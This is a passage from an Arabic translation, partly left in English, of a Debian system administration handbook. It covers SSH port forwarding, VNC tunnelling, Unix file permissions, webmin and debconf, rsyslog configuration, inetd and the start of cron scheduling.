أما الأمر ssh -R 8000:server:25 intermediary فهو ينشئ جلسة SSH أيضاً مع الحاسوب intermediary، لكن سوف ينصت ssh للمنفذ 8000 على ذلك الجهاز (انظر شكل 9.4, “توجيه منفذ بعيد باستخدام SSH”). أي اتصال يرد إلى إلى هذا المنفذ سيجعل ssh يفتح اتصالاً من الجهاز المحلي إلى المنفذ 25 على server، ويربط الاتصالين معاً.

في كلا الحالتين، يكون الاتصال مع المنفذ 25 على المضيف server، بعد أن يمر خلال نفق SSH الواصل بين الجهاز المحلي والجهاز intermediary. في الحالة الأولى، مدخل النفق هو المنفذ المحلي 8000، وتتحرك البيانات باتجاه الجهاز intermediary قبل أن تتوجه إلى server عبر الشبكة ”العامة“. أما في الحالة الثانية، فقد تبدل موقعي الدخل والخرج في النفق؛ فقد أصبح المدخل هو المنفذ 8000 على الجهاز intermediary، أما المخرج فهو على الجهاز المحلي، الذي يوجه البيانات بعدها إلى server. عملياً، إما أن يكون server هو الجهاز المحلي أو الجهاز الوسيط. في تلك الحالة سيحمي SSH الاتصال بين الطرفين.

شكل 9.3. توجيه منفذ محلي باستخدام SSH

شكل 9.4. توجيه منفذ بعيد باستخدام SSH

9.2.2. استخدام سطوح المكتب الرسومية البعيدة

تسمح VNC ‏(Virtual Network Computing – حوسبة الشبكات الظاهرية) بالوصول البعيد لسطوح المكتب الرسومية.

أكثر ما تستخدم هذه الأداة في الدعم الفني؛ حيث يرى مدير النظام الأخطاء التي يواجهها المستخدمون، ويبين لهم الطريق الصحيح لمعالجتها دون الاضطرار للوقوف جانبهم.

First, the user must authorize sharing their session. The GNOME graphical desktop environment from Jessie onward includes that option in its configuration panel (contrary to previous versions of Debian, where the user had to install and run vino). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc command (from the Debian package of the same name) serves the same purpose; you can make it available to the user with an explicit icon.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xvnc4viewer in the Debian package of the same name. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

أمن VNC عبر SSH

إذا أردت الاتصال عبر VNC، ولم تكن تريد أن ترسل بياناتك عبر الشبكة بدون تشفير، يمكنك تغليف البيانات المرسلة في نفق SSH (انظر قسم 9.2.1.3, “إنشاء الأنفاق المشفرة باستخدام توجيه المنافذ”). عليك فقط أن تعرف أن VNC يستخدم المنفذ 5900 افتراضياً للشاشة الأولى (التي تدعى ”localhost:0“)، و 5901 للشاشة الثانية (وتدعى ”localhost:1“)، الخ.

ينشئ الأمر ssh -L localhost:5901:localhost:5900 -N -T machine نفقاً بين المنفذ المحلي 5901 في الواجهة الشبكية المحلية والمنفذ 5900 على المستضيف machine. كلمة ”localhost“ الأولى تقيّد SSH حتى ينصت فقط إلى تلك الواجهة على الجهاز المحلي. أما كلمة ”localhost“ الثانية فهي تشير إلى الواجهة على الجهاز البعيد التي ستستقبل بيانات الشبكة الداخلة إلى ”localhost:5901“. وهكذا سوف يصل الأمر vncviewer localhost:1 عميل VNC مع الشاشة البعيدة، رغم أن الأمر يشير إلى اسم الجهاز المحلي.

لا تنسَ إغلاق النفق عند إغلاق جلسة VNC، عبر الخروج من جلسة SSH المفتوحة من هذا الطرف.

أساسيات مدير العرض

gdm3، ‏kdm، ‏lightdm، وxdm كلها برامج إدارة عرض (Display Managers). تتولى هذه البرامج التحكم بالواجهة الرسومية بُعَيْد تهيئتها حتى تَعرُضَ للمستخدم شاشة تسجيل الدخول. بعدما يسجل المستخدم دخوله، ينفذ مدير العرض البرامج المطلوبة لبدء جلسة العمل الرسومية.

يخدم VNC المستخدمين المتنقلين، أو مديري الشركات، الذين يحتاجون أحياناً الدخول من منزلهم إلى سطح مكتب بعيد يشبه الذي يستخدمونه في العمل. إعداد مثل هذه الخدمة أعقد: عليك أولاً تثبيت الحزمة vnc4server، وتعديل إعدادات مدير العرض حتى يقبل طلبات XDMCP Query (بالنسبة للمدير gdm3، يمكن تنفيذ هذا من خلال إضافة Enable=true في قسم ”xdmcp“ من الملف /etc/gdm3/daemon.conf)، وأخيراً، تشغيل مخدم VNC باستخدام inetd بحيث يتم تشغيل جلسة عمل تلقائياً عندما يحاول المستخدم تسجيل الدخول. مثلاً، يمكنك إضافة السطر التالي إلى /etc/inetd.conf:

5950 stream tcp nowait nobody.tty /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

إعادة توجيه الاتصالات الواردة إلى مدير العرض تحل مشكلة المصادقة، لأن المستخدمين الذين يملكون حسابات محلية هم فقط من سيمر عبر شاشة دخول gdm3 (أو مكافئه kdm، أو xdm، الخ). بما أن هذه العملية تسمح بتسجيل دخول عدة مستخدمين في الوقت نفسه دون أي مشاكل (شرط أن يكون المخدم قوياً بما يكفي)، فمن الممكن استخدامها أيضاً لتوفير سطوح مكتب كاملة للمستخدمين الجوالين (أو لنظم سطح المكتب الأضعف، المستخدمة بشكل thin clients). يسجل المستخدمون دخولهم ببساطة إلى شاشة المخدم باستخدام vncviewer server:50، لأن المنفذ المستخدم هو 5950.

9.3. إدارة الصلاحيات

لينكس هو نظام متعدد المستخدمين قطعاً، ولذلك يجب توفير نظام إدارة صلاحيات للتحكم بالعمليات المسموحة على الملفات والمجلدات، التي تشمل جميع موارد وأجهزة النظام (في نظام يونكس، كل جهاز يمثل بملف أو مجلد). هذا المبدأ مشترك بين جميع نظم يونكس، لكن التذكرة بالشيء مفيدة دوماً، خصوصاً أن هناك بعض الاستخدامات المتقدمة المهمة ولكن غير معروفة نسبياً.

كل ملف أو مجلد له صلاحيات خاصة لكل فئة من الفئات الثلاث للمستخدمين:

المالك (يرمز له بالحرف u من كلمة ”user“)؛

المجموعة المالكة (يرمز لها بالحرف g من كلمة ”group“)، وهي تمثل جميع أعضاء المجموعة؛

الآخرون (يرمز لهم بالحرف o من كلمة ”other“).

هناك ثلاثة أنواع من الصلاحيات يمكن جمعها:

القراءة (يرمز لها بالحرف r من كلمة ”read“)؛

الكتابة (يرمز لها بالحرف w من كلمة ”write“)؛

التنفيذ (يرمز له بالحرف x من كلمة ”eXecute“).

بالنسبة للملفات، فيمكن فهم هذه الصلاحيات بسهولة: تسمح صلاحية القراءة بقراءة المحتوى (ونسخه أيضاً)، وتسمح صلاحية الكتابة بتعديله، أما صلاحية التنفيذ فتسمح لك بتشغيله (وهذا سيعمل فقط إذا كان برنامجاً).

أمن الملفات التنفيذية ذات صلاحيات setuid وsetgid

هناك صلاحيتين محددتين ترتبطان بالملفات التنفيذية: setuid وsetgid (يرمز لهما بالحرف ”s“). لاحظ أننا نتحدث عادة عن ”بت“، لأنه يمكن تمثيل كل من هذه القيم البوليانية ببت واحد. تسمح هاتان الصلاحيتان للمستخدم بتنفيذ البرنامج بصلاحيات مالكه أو صلاحيات مجموعته. تتيح هذه الآلية إمكانية الوصول إلى مزايا تحتاج صلاحيات ذات مستوى أعلى من المستوى العادي للمستخدم.

بما أن برامج الجذر التي تتمتع بصلاحية setuid ستعمل تلقائياً تحت صلاحيات مدير النظام، فمن المهم جداً ضمان أن هذه البرامج آمنة وموثوقة. فالمستخدم الذي قد يتمكن من السيطرة على أحد هذه البرامج وجعله يستدعي أمراً من اختياره يستطيع عندها انتحال شخصية المستخدم الجذر وامتلاك جميع الصلاحيات على النظام.

أما المجلدات فالتعامل معها مختلف. تمنح صلاحية القراءة إمكانية الاستعلام عن محتويات المجلد (من ملفات ومجلدات)، أما صلاحية الكتابة فتسمح بإنشاء الملفات فيه أو حذفها، وصلاحية التنفيذ تسمح بالمرور عبره (خصوصاً الدخول إليه بالأمر cd). إن امتلاك حق العبور خلال المجلد دون امتلاك حق قراءته يسمح لك بالوصول إلى الملفات أو المجلدات داخله التي تعرفها بالاسم، لكن لا يسمح لك بالبحث عنها إذا لم تكن تعرف بوجودها أو لم تعرف اسمها بالضبط.

أمن مجلدات setgid و ”البت اللاصق“

يطبّق بت setgid على المجلدات أيضاً. أي عنصر جديد ينشأ في هذه المجلدات تُعيَّن له المجموعة المالكة للمجلد الأب، بدلاً من وراثة المجموعة الرئيسية للمستخدم الذي أنشأ الملف كما هي العادة. هذا الوضع يسمح للمستخدم بتفادي تغيير مجموعته الرئيسية (باستخدام الأمر newgrp) عندما يعمل في شجرة ملفات مشتركة بين عدة مستخدمين ينتمون لنفس المجموعة الخاصة.

أما البت ”اللاصق“ (sticky bit – يرمز له بالحرف ”t“) فهي صلاحية تفيد فقط مع المجلدات. تستخدم هذه الصلاحية خصوصاً مع المجلدات المؤقتة التي يملك الجميع صلاحية الكتابة عليها (مثل المجلد /tmp/): تقيّد هذه الصلاحية حذف الملفات بحيث يسمح لمالك الملف (أو مالك المجلد الأب) حذفه فقط. بدون هذا القيد، سوف يتمكن أي شخص من حذف ملفات المستخدمين الآخرين في المجلد /tmp/.

تتحكم ثلاثة أوامر بصلاحيات الملفات:

chown user file يغير مالك الملف؛

chgrp group file يغير المجموعة المالكة؛

chmod rights file يغير صلاحيات الملف.

هناك طريقتين لتمثيل الصلاحيات. لعل التمثيل الرمزي هو الأبسط فهماً والأسهل تذكراً بينهما. تستخدم الحروف الرمزية المذكورة سابقاً في هذا التمثيل. يمكنك تعريف صلاحيات كل فئة من المستخدمين (u/g/o) إما بتحديدها صراحة (باستخدام =) أو بالإضافة (+) أو الطرح (-). بالتالي ستمنح العلاقة u=rwx,g+rw,o-r مالك الملف صلاحيات القراءة والكتابة والتنفيذ، وتضيف صلاحيتي القراءة والكتابة للمجموعة المالكة، وتزيل صلاحية القراءة من المستخدمين الآخرين. تبقى الصلاحيات الأخرى التي لا تعدل بالإضافة أو الطرح في مثل هذه الأوامر كما هي. يغطي الحرف a، من الكلمة ”all“، فئات المستخدمين الثلاث، بالتالي تمنح العلاقة a=rx جميع الفئات الثلاث الصلاحيات نفسها (القراءة والتنفيذ، لكن دون الكتابة).

يربط التمثيل العددي (الثُماني) كل صلاحية مع رقم: 4 للقراءة، و2 للكتابة، و1 للتنفيذ. تُحدَّد كل مجموعة من الصلاحيات بمجموع الأرقام المقابلة لها. ثم تُسنَد كل قيمة لفئة مختلفة من المستخدمين بوضع هذه المجاميع جنباً إلى جنب بنفس الترتيب المعتاد لفئات المستخدمين (المالك، ثم المجموعة، ثم الآخرون).

على سبيل المثال، سوف يعطي الأمر chmod 754 file الصلاحيات التالية: القراءة والكتابة والتنفيذ للمالك (بما أن 7 = 4 + 2 +1)؛ القراءة والتنفيذ للمجموعة (بما أن 5 = 4 + 1)؛ والقراءة فقط للآخرين. الرقم 0 يعني عدم وجود صلاحيات؛ بالتالي يسمح الأمر chmod 600 file للمالك بالقراءة والكتابة، ولا يمنح أي صلاحيات لأي شخص آخر. أكثر مجموعات الصلاحيات انتشاراً هي 755 للملفات التنفيذية والمجلدات، و 644 لملفات البيانات.

لتمثيل الصلاحيات الخاصة، يمكنك إضافة خانة رابعة قبل هذا العدد وفقاً لنفس المبدأ، حيث يقابل بت setuid القيمة 4، وبت setgid القيمة 2، أما البت اللاصق (sticky) فيقابل 1. وبذلك سيضيف الأمر chmod 4754 خانة setuid إلى الصلاحيات المذكورة آنفاً.

لاحظ أن استخدام التدوين الثماني لا يسمح إلا بضبط كافة صلاحيات الملف دفعة واحدة؛ فلا يمكنك استخدامه لإضافة صلاحية جديدة فقط، مثل صلاحية القراءة للمجموعة المالكة، لأنه يجب أن تأخذ الصلاحيات السابقة بعين الاعتبار وتحسب القيمة العددية الجديدة الموافقة.

تلميح التطبيق التعاودي

نضطر أحياناً لتغيير الصلاحيات لشجرة ملفات كاملة. كل الأوامر السابقة لها خيار -R حتى تعمل تعاودياً على المجلدات الفرعية.

إن الاختلاف بين الملفات والمجلدات يسبب المشاكل أحياناً مع العمليات التعاودية. لهذا أضيف الحرف ”X“ إلى التمثيل الرمزي للصلاحيات. يمثل هذا الحرف صلاحية التنفيذ التي تطبق على المجلدات فقط (وليس الملفات التي تفتقر إلى هذه الصلاحية من قبل). بالتالي، سيضيف الأمر chmod -R a+X directory صلاحية التنفيذ لجميع فئات المستخدمين (a)، فقط للمجلدات الفرعية وللملفات التي تملك إحدى فئات المستخدمين على الأقل (حتى ولو كان مالكها وحده) صلاحية تنفيذها من قبل.

تلميح تغيير المستخدم والمجموعة

قد ترغب أحياناً بتغيير مجموعة الملف في نفس الوقت الذي تغير فيه مالكه. هناك صيغة خاصة للأمر chown لهذا الغرض: chown user:group file

التعمق أكثر umask

عندما ينشئ أحد التطبيقات ملفاً، يخصص له صلاحيات دلالية، مع معرفة أن نظام الملفات يزيل بعض الصلاحيات تلقائياً، وهي الصلاحيات المحددة بالأمر umask. أدخِل umask في الصدفة؛ سترى قناعاً مثل 0022. هذا القناع هو ببساطة تمثيل ثماني للصلاحيات التي ستزال آلياً (في هذا المثال، صلاحية الكتابة للمجموعة وللمستخدمين الآخرين).

إذا أعطيت الأمر umask قيمة ثمانية جديدة، فسوف يعدل القناع. وإذا استخدمته في ملف تهيئة الصدفة (مثلاً، ~/.bash_profile)، فسوف يعدل عملياً القناع الافتراضي لجميع جلسات العمل.

9.4. واجهات الإدارة

يفيد استخدام الواجهات الرسومية لإدارة النظام في حالات متنوعة. لا يشترط أن يعرف مدير النظام جميع تفاصيل الإعداد لجميع الخدمات التي يديرها، ولا يملك دائماً الوقت الكافي للبحث عن وثائق الموضوع. تستطيع إذن واجهات الإدارة الرسومية تسريع إطلاق خدمة جديدة. كما يمكنها أيضاً أن تبسط ضبط الخدمات صعبة الإعداد.

هذه الواجهات مساعدة فقط، وليست نهاية في حد ذاتها. في جميع الحالات، على مدير النظام أن يدرس سلوكها بشكل كامل حتى يفهم أي مشكلة محتملة ويتفاداها.

بما أنه لا توجد واجهة إدارة مثالية، فقد تميل إلى تجربة عدة حلول. عليك تفادي هذا قدر المستطاع، لأن الأدوات المختلفة لا تتوافق أساليب عملها أحياناً. حتى لو كانت كلها تسعى لأن تكون مرنة جداً وتحاول تبني مرجعية واحدة في التعامل مع ملفات الإعداد، إلا أنها لا تنجح دائماً في توحيد التعديلات الخارجية.

9.4.1. الإدارة على واجهة وب: webmin

هذه –بلا شك– إحدى أنجح واجهات الإدارة. هي عبارة عن نظام تجزيئي يدار من خلال متصفح وب، يغطي طيفاً واسعاً من المجالات والأدوات. بالإضافة لذلك، هذه الواجهة مُدوَّلة (internationalized) ومتوفرة في العديد من اللغات.

شكل 9.5. Webmin dashboard

Sadly, webmin is no longer part of Debian. Its Debian maintainer — Jaldhar H. Vyas — removed the packages he created because he no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Buster does not have the webmin package.

هناك، على أي حال، حزمة غير رسمية متوفرة على الموقع webmin.com. هذه الحزمة أحادية، بخلاف حزمة دبيان الأصلية؛ أي أن جميع وحدات الضبط فيها سوف تُثَـبَّت وتُفَعَّل افتراضياً، حتى لو كانت الخدمة الموافقة لها غير مثبتة على الجهاز.

أمن تغيير كلمة سر الجذر

عند تسجيل الدخول أول مرة، يتم الدخول باسم المستخدم root وكلمة سره العادية. يُفضَّل تغيير كلمة السر المستخدمة في webmin بأسرع ما يمكن، حتى إذا اكتُشِفَت الكلمة، لم تتأثر كلمة سر حساب الجذر للمخدم، ولو أن هذه الكلمة تعطي صلاحيات إدارية على الجهاز.

كن حذراً! بما أن webmin لها مزايا كثيرة جداً، يستطيع المستخدم الخبيث الذي يصل إليها أن يهدد أمان النظام كله. عموماً، لا ينصح باستخدام هذا النوع من الواجهات على النظم المهمة ذات القيود الأمنية الشديدة (الجدران النارية، المخدمات الحساسة، الخ).

يُستخدَم Webmin عبر واجهة وب، لكنه لا يحتاج تثبيت أباتشي. أساساً، هذا البرنامج فيه مخدم وب صغير مدمج خاص به. ينصت هذا المخدم افتراضياً للمنفذ 10000 ويقبل اتصالات HTTP المؤمنة.

تغطي الوحدات المضمنة طيفاً واسعاً من الخدمات، منها:

جميع الخدمات الأساسية: إنشاء المستخدمين والمجموعات، إدارة ملفات crontab، سكربتات التهيئة، عرض السجلات، الخ.

bind: إعدادات مخدم DNS (خدمة الأسماء)؛

postfix: إعدادات مخدم SMTP (البريد الإلكتروني)؛

inetd: إعدادات المخدم الفائق inetd؛

quota: إدارة الحصص التخزينية للمستخدمين؛

dhcpd: إعدادات مخدم DHCP؛

proftpd: إعدادات مخدم FTP؛

samba: إعدادات مخدم الملفات Samba؛

software: تثبيت البرمجيات من حزم دبيان أو إزالتها وتحديث النظام.

تتوفر واجهة الإدارة من متصفح الوب على العنوان https://localhost:10000. لكن احذر! ليست جميع الوحدات جاهزة للاستخدام مباشرة. أحياناً يجب ضبطها عبر تحديد مواقع ملفات الإعداد الموافقة وبعض الملفات التنفيذية (البرامج). غالباً سوف ينبهك النظام بأدب عندما يفشل في تفعيل الوحدة المطلوبة.

بدائل مركز تحكم GNOME

يقدم مشروع GNOME أيضاً عدة واجهات إدارة يمكن الوصول إليها عادة عبر مدخلة ”Settings“ من قائمة المستخدم في الزاوية اليمنى العليا. البرنامج gnome-control-center هو البرنامج الرئيسي الذي يجمع هذه الواجهات معاً لكن معظم أدوات الضبط التي تعمل على مستوى النظام متوفرة فعلياً في حزم أخرى (accountsservice،‏ system-config-printer، الخ). مع أن هذه البرامج سهلة الاستخدام، لكنها لا تغطي إلا عدداً محدوداً من الخدمات الأساسية: إدارة المستخدمين، ضبط الوقت، إعداد الشبكة، إعداد الطابعات، الخ.

9.4.2. ضبط الحزم: debconf

تُضبَطُ العديد من الحزم آلياً بعد طرح بضعة أسئلة أثناء التثبيت من خلال الأداة Debconf. يمكن إعادة ضبط هذه الحزم باستدعاء dpkg-reconfigure package.

في معظم الحالات، هذه الإعدادات بسيطة جداً؛ حيث تُعَدَّل فقط بضعة متغيرات مهمة في ملفات الإعداد. غالباً ما تجمع هذه المتغيرات بين سطري ”تمييز – demarcation“ بحيث لا تؤثر عملية إعادة ضبط الحزمة إلا على هذه المنطقة المحدودة. في حالات أخرى، إعادة الضبط لن تغير أي شيء إذا اكتشف السكربت تعديلات يدوية على ملف الإعداد، وذلك للحفاظ على هذه التدخلات البشرية (لأن السكربت لا يستطيع ضمان أن تعديلاته لن تضر بالإعدادات السابقة).

سياسة دبيان الحفاظ على التغييرات

تشترط سياسة دبيان صراحة وجوب اتخاذ جميع الإجراءات اللازمة للحفاظ على التعديلات اليدوية على ملفات الإعداد، لذلك يتزايد عدد السكربتات التي تتخذ الاحتياطات عند تحرير ملفات الإعداد. المبدأ العام بسيط: يُجري السكربت تعديلاته فقط إذا كان يعرف الحالة السابقة لملف الإعداد، ويتم التأكد من هذا بمقارنة checksum الملف مع checksum آخِر ملف مولد تلقائياً. إذا تطابقا، يُسمَح للسكربت بتعديل ملف الإعداد. وإلا، فإن السكربت يقرر أن الملف قد تعدّل ويسأل عما يجب فعله (تثبيت الملف الجديد، حفظ الملف القديم، أو محاولة دمج التغييرات الجديدة في الملف الحالي). لطالما تميزت دبيان بهذا المبدأ الوقائي، لكن التوزيعات الأخرى بدأت تتبناه تدريجياً.

يمكن استخدام البرنامج ucf (من حزمة دبيان ذات الاسم نفسه) لتطبيق مثل هذا السلوك.

9.5. أحداث syslog

9.5.1. المبدأ والآلية

خدمة rsyslogd مسؤولة عن جمع رسائل الخدمات الواردة من التطبيقات ومن النواة، ثم إرسالها إلى ملفات السجلات (التي تخزن عادة في المجلد /var/log/). تطيع هذه الخدمة التعليمات في ملف الضبط /etc/rsyslog.conf.

كل رسالة سجل ترتبط مع نظام فرعي لتطبيق ما (يدعى ”facility“ في الوثائق):

auth وauthpriv: للمصادقة؛

cron: تأتي من خدمات الجدولة، cron وatd؛

daemon: تتعلق بخدمة ليس لها تصنيف خاص (DNS، ‏NTP، الخ)؛

ftp: تتعلق بمخدم FTP؛

kern: رسائل واردة من النواة؛

lpr: تأتي من النظام الفرعي الخاص بالطباعة؛

mail: تأتي من النظام الفرعي الخاص بالبريد الإلكتروني؛

news: رسائل النظام الفرعي Usenet (خصوصاً من مخدم NNTP‏ –Network News Transfer Protocol، أو بروتوكول نقل الأخبار عبر الشبكة– الذي يدير المجموعات الإخبارية)؛

syslog: رسائل من المخدم syslogd نفسه؛

user: رسائل المستخدم (عامة)؛

uucp: رسائل من مخدم UUCP ‏(Unix to Unix Copy Program، أو برنامج النسخ من يونكس إلى يونكس، بروتوكول قديم كان يستخدم لتوزيع رسائل البريد الإلكتروني)؛

local0 حتى local7: محجوزة للاستخدامات المحلية.

تعطى كل رسالة أولوية أيضاً. هذه قائمة الأولويات مرتبة تنازلياً:

emerg: ”النجدة!“ هناك حالة طارئة، النظام غير قابل للاستخدام على الأرجح.

alert: أسرِع، أي تأخير قد يكون خطيراً، يجب اتخاذ إجراء فوراً؛

crit: الحالة حرجة؛

err: خطأ؛

warn: تحذير (يحتمل أن يكون خطأ)؛

notice: الحالة طبيعية، لكن الرسالة مهمة؛

info: رسالة إعلامية؛

debug: رسالة تستخدم في التنقيح.

9.5.2. ملف الإعداد

صيغة الملف /etc/rsyslog.conf مفصلة في صفحة الدليل rsyslog.conf(5)‎، لكن هناك أيضاً توثيق بصيغة HTML متوفر في الحزمة rsyslog-doc ‏(/usr/share/doc/rsyslog-doc/html/index.html). المبدأ العام هو كتابة زوج يتألف من ”مُنتخِب selector“ و ”فعل action“. يعرف المنتخب جميع الرسائل المطلوبة، أما الفعل فيصف طريقة التعامل معها.

9.5.2.1. صيغة المنتخب

المُنتخِب هو لائحة تُفصَل عناصرها بفواصل منقوطة تتألف من أزواج من subsystem.priority (أزواج من نظام فرعي.أولوية، مثال: auth.notice;mail.info). يمكن استخدام النجمة لتعبر عن جميع النظم الفرعية أو جميع مستويات الأولوية (مثال: *.alert أو mail.*). يمكن جمع عدة نظم فرعية، عبر استخدام الفاصلة (مثال: auth,mail.info). كما أن الأولوية المذكورة تغطي الرسائل ذات الأولوية نفسها أو الأولويات أعلى؛ أي أن auth.alert يشير إلى رسائل النظام الفرعي auth ذات الأولوية alert أو emerg. إذا سبقت الأولوية بعلامة التعجب (!)، فسوف تشير إلى نقيضها، أي إلى الأولويات الأقل منها حصراً؛ أي أن auth.!notice يشير إلى الرسائل الصادرة عن auth، بأولوية info أو debug. وإذا سبقت بإشارة المساواة (=)، فسوف تقابل الأولوية المحددة وحدها فقط (auth.=notice يشير إلى رسائل auth ذات الأولوية notice فقط).

كل عنصر في لائحة المنتخب أقوى من العناصر السابقة له. لذلك يمكن حصر مجموعة من الأولويات أو استثناء عناصر محددة منها. مثلاً، kern.info;kern.!err يعني الرسائل من النواة التي تتراوح أولويتها بين info و warn. تشير الأولوية none إلى المجموعة الخالية (لا تشير لأي أولوية)، ويمكن استخدامها لاستثناء نظام فرعي من مجموعة من الرسائل. بالتالي، *.crit;kern.none يشير إلى جميع الرسائل ذات الأولوية crit أو أعلى عدا التي ترد من النواة.

9.5.2.2. صيغة الأفعال

أساسيات الأنبوب المسمّى، أنبوب دائم

الأنبوب المسمّى هو نوع خاص من الملفات يعمل مثل الأنابيب التقليدية (الأنابيب التي تنشأ بكتابة الرمز ”|“ في سطر الأوامر)، ولكن باستخدام ملف. تتميز هذه الآلية بقدرتها على ربط عمليتين غير متعلقتين ببعضهما. أي شيء يُكتَب إلى أنبوب مسمى يُوقِف تنفيذ العملية التي تكتب حتى تحاول عملية أخرى قراءة البيانات المكتوبة. تقرأ العملية الثانية البيانات التي كتبتها الأولى، التي تستطيع بعد ذلك متابعة التنفيذ.

يُنشَأ هذا النوع من الملفات باستخدام الأمر mkfifo.

الأفعال المختلفة المتوفرة هي:

إضافة الرسالة إلى ملف (مثال: /var/log/messages)؛

إرسال الرسالة إلى مخدم syslog بعيد (مثال: @log.falcot.com)؛

إرسال الرسالة إلى أنبوب مسمّى سابق (مثال: |/dev/xconsole)؛

إرسال الرسالة إلى مستخدم واحد أو أكثر، إذا كانوا مسجلي دخولهم (مثال: root,rhertzog)؛

إرسال الرسالة إلى جميع المستخدمين المسجلي دخولهم (مثال: *)؛

كتابة الرسالة في طرفية نصية (مثال: /dev/tty8).

أمن توجيه السجلات

إن تسجيل أهم الرسائل على جهاز منفصل (ربما كان جهازاً مخصصاً لهذا الغرض) فكرة سديدة، بما أن هذا سيمنع أي متطفل محتمل من إزالة آثار تطفله (ما لم يخترق الجهاز الآخر أيضاً، طبعاً). بالإضافة لذلك، في حال حدوث مشكلة كبيرة (مثل انهيار النواة)، ستبقى السجلات متاحة على الجهاز الآخر، وهذا يزيد فرص التعرف على سلسلة الأحداث التي سببت الخلل.

لقبول الرسائل السجلية التي ترسلها الأجهزة الأخرى، عليك إعادة ضبط rsyslog: عملياً، يكفي تفعيل المدخلات الجاهزة للاستخدام في الملف /etc/rsyslog.conf ‏($ModLoad imudp و$UDPServerRun 514).

9.6. المخدم الفائق inetd

Inetd (الذي يدعى غالباً ”مخدم الإنترنت الفائق“) هو مخدم المخدمات. يعمل Inetd على تنفيذ المخدمات التي يندر استخدامها حسب الطلب، بحيث لا تضطر هذه المخدمات للعمل بشكل مستمر.

يسرد الملف /etc/inetd.conf هذه المخدمات بالإضافة لمنافذها المعتادة. ينصت الأمر inetd على جميع هذه المنافذ؛ وعندما يستشعر اتصالاً على أي منها، يستدعي المخدم المناسب.

سياسة دبيان تسجيل مخدم في inetd.conf

غالباً ما ترغب الحزم بتسجيل مخدم جديد في الملف /etc/inetd.conf، ولكن سياسة دبيان تمنع أي حزمة من تعديل أي ملف إعدادات لا ينتمي لها. لذلك كان سكربت update-inetd (في الحزمة ذات الاسم نفسه): يدير هذا السكربت ملف الضبط المذكور، وهكذا تستطيع الحزم الأخرى استخدامه لتسجيل مخدم جديد في إعدادات المخدم الفائق.

يصف كل سطر فعلي من ملف /etc/inetd.conf مخدماً من خلال سبعة حقول (تفصلها فراغات):

رقم منفذ TCP أو UDP، أو اسم الخدمة (الذي يقابل مع رقم منفذ معياري حسب المعلومات في الملف /etc/services).

نوع المقبس (socket)‏: stream لاتصالات TCP، وdgram لبيانات UDP.

البروتوكول: tcp أو udp.

الخيارات: هناك قيميتن محتملتين: wait أو nowait، لإعلام inetd هل ينتظر انتهاء العملية المستدعاة قبل قبول اتصالات أخرى أم لا. بالنسبة لاتصالات TCP، التي يمكن جمعها (multiplex) بسهولة، يمكنك عادة استخدام nowait. أما للبرامج التي تستجيب عبر UDP، عليك استخدام nowait فقط إذا كان المخدم قادراً على إدارة عدة اتصالات على التوازي. يمكنك أن تسبق هذا الحقل بنقطة، وتلحقها بعدد الاتصالات الأعظمي المسموح كل دقيقة (الحد الافتراضي 256).

اسم المستخدم الذي سيعمل المخدم باسمه.

المسار الكامل للبرنامج المخدم الذي سيستدعى.

المتغيرات: قائمة كاملة بمتغيرات البرنامج، بما فيها اسمه (argv[0] في لغة C).

يشرح المثال التالي أكثر الحالات شيوعاً:

مثال 9.1. مقتطفات من /etc/inetd.conf

talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd ident stream tcp nowait nobody /usr/sbin/identd identd -i

يستخدم البرنامج tcpd كثيراً في الملف /etc/inetd.conf. يسمح هذا البرنامج بتحديد عدد الاتصالات الواردة بتطبيق قواعد تحكم بالوصول، وهي موثقة في صفحة الدليل hosts_access(5)‎، ويتم ضبطها في الملفين /etc/hosts.allow و/etc/hosts.deny. بمجرد تحديد أن الاتصال مسموح، يستدعي tcpd المخدم الحقيقي (مثل in.fingerd في مثالنا). من المهم أن نذكر أن tcpd يعتمد على الاسم الذي استدعي به (وهو المتغير الأول الذي استقبله، argv[0]) للتعرف على البرنامج الحقيقي الذي يجب تشغيله. عليك إذن ألا تبدأ قائمة المتغيرات بالاسم tcpd بل باسم البرنامج الذي تريد تغليفه.

مجتمع Wietse Venema

Wietse Venema (فيتس فينما)، الذي جعلت منه خبرته في أمن المعلومات مبرمجاً ذائع الصيت، هو مؤلف برنامج tcpd. كما أنه المؤلف الرئيسي لمخدم البريد الإلكتروني التجزيئي Postfix‏ (مخدم SMTP ‏– Simple Mail Transfer Protocol، أو البروتوكول البسيط للبريد الإلكتروني)، الذي صُمّم ليكون آمَنُ وأكثر وثوقية من sendmail، صاحب التاريخ الطويل في الثغرات الأمنية.

بدائل أوامر inetd أخرى

في حين أن دبيان تثبت openbsd-inetd افتراضياً، إلا أن هناك العديد من البدائل الأخرى: يمكن أن نذكر منها inetutils-inetd،‏ micro-inetd،‏ rlinetd وxinetd.

يقدم تطبيق المخدم الفائق الأخير إمكانيات جذابة جداً. أهمها أنه يمكن فصل إعداداته إلى عدة ملفات (مخزنة طبعاً في المجلد /etc/xinetd.d/)، الأمر الذي يمكن أن يجعل حياة مدير النظام أسهل.

Last but not least, it is even possible to emulate inetd's behavior with systemd's socket-activation mechanism (see قسم 9.1.1, “نظام إقلاع systemd”).

9.7. جدولة المهام باستخدام cron وatd

cron هي الخدمة المسؤولة عن تنفيذ الأوامر المجدولة والمتكررة (يومياً، أسبوعياً، الخ)؛ أما atd فهي الخدمة التي تعالج الأوامر التي تنفذ مرة واحدة، لكن في لحظة محددة من المستقبل.

في نظام يونكس، هناك العديد من المهام التي تستدعى بانتظام:

تدوير (rotating) السجلات؛

تحديث قاعدة بيانات البرنامج locate؛

النسخ الاحتياطي؛

سكربتات الصيانة (مثل تنظيف الملفات المؤقتة).

افتراضياً، يستطيع جميع المستخدمون جدولة تنفيذ المهام. لكل مستخدم إذن crontab خاص به يستطيع فيه تسجيل الأوامر المجدولة. يمكن تحريره بالأمر crontab -e (تخزن محتوياته في الملف /var/spool/cron/crontabs/user).

أمن تقييد cron أو atd

